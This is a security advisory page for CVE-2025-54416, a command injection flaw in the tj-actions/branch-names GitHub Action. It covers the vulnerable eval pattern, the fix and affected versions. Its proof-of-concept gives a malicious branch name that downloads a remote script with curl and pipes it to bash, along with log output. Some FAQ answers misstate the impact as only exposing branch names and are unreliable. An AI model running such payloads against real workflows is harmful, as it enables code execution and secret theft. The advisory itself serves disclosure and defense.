CVE-2025-54416: tj-actions/branch-names Contains Command Injection Vulnerability

Published Jul 25, 2025
·
Updated

Overview

A critical vulnerability has been identified in the tj-actions/branch-names GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.

Technical Details

The vulnerability stems from the unsafe use of the eval printf "%s" pattern within the action's codebase. Although initial sanitization using printf "%q" properly escapes untrusted input, subsequent unescaping via eval printf "%s" reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:

bash echo "baserefbranch=$(eval printf "%s" "$BASEREF")" >> "$GITHUBOUTPUT" echo "headrefbranch=$(eval printf "%s" "$HEADREF")" >> "$GITHUBOUTPUT" echo "refbranch=$(eval printf "%s" "$REFBRANCH")" >> "$GITHUBOUTPUT"

This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.

Proof-of-Concept (PoC)

1. Create a branch with the name $(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash). 2. Trigger the vulnerable workflow by opening a pull request into the target repository. 3. Observe arbitrary code execution in the workflow logs.

Example output: bash Running on a pull request branch. Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)" echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)" shell: /usr/bin/bash -e {0} Running on pr: === PoC script executed successfully === Runner user: runner

Impact

This vulnerability enables arbitrary command execution in repositories consuming outputs from tj-actions/branch-names. The severity of the impact depends on the permissions granted to the GITHUBTOKEN and the context of the triggering event. Potential consequences include:

- Theft of sensitive secrets stored in the repository. - Unauthorized write access to the repository. - Compromise of the repository's integrity and security.

Mitigation and Resolution

To address this vulnerability, the unsafe eval printf "%s" pattern must be replaced with safer alternatives. Specifically, direct printf calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:

bash printf "baserefbranch=%s\n" "$BASEREF" >> "$GITHUBOUTPUT" printf "headrefbranch=%s\n" "$HEADREF" >> "$GITHUBOUTPUT" printf "refbranch=%s\n" "$REFBRANCH" >> "$GITHUBOUTPUT" printf "tag=%s\n" "$TAG" >> "$GITHUBOUTPUT"

This approach ensures that all outputs remain properly escaped and safe for downstream consumption.

Recommendations

1. Immediate Action: Developers using the tj-actions/branch-names workflow should update their workflows to latest major version v9.

References - GitHub Actions Security Guide - How to Secure GitHub Actions Workflows - Related Vulnerability: GHSA-mcph-m25j-8j63 - Template Injection Advisory: GHSA-8v8w-v8xg-79rf

Other sources

tj-actions/branch-names is a Github actions repository that contains workflows to retrieve branch or tag names with support for all events. In versions 8.2.1 and below, a critical vulnerability has been identified in the tj-actions/branch-names' GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks. This is fixed in version 9.0.0

MITRE

Affected Software

2 affected componentsFixes available
tj-actions branch-names<=8.2.1
actions/tj-actions/branch-names<=8.2.1
9.0.0

Event History

Jul 25, 2025
Advisory Published
via GitHub·07:28 PM
Data Sourced
via GitHub·07:28 PM
DescriptionSeverityWeaknessAffected Software
Jul 26, 2025
CVE Published
via MITRE·03:34 AM
Data Sourced
via MITRE·03:34 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 AM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-54416?

CVE-2025-54416 is classified as a critical vulnerability due to the potential to expose sensitive branch or tag names.

2

How do I fix CVE-2025-54416?

To fix CVE-2025-54416, update the tj-actions/branch-names GitHub Action to version 9.0.0 or later.

3

What software is affected by CVE-2025-54416?

CVE-2025-54416 affects tj-actions/branch-names versions up to and including 8.2.1.

4

What kind of attacks can exploit CVE-2025-54416?

CVE-2025-54416 can be exploited to reveal sensitive branch or tag names from the repository.

5

Is there a workaround for CVE-2025-54416?

There are no official workarounds for CVE-2025-54416; the recommended action is to upgrade to a secure version.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203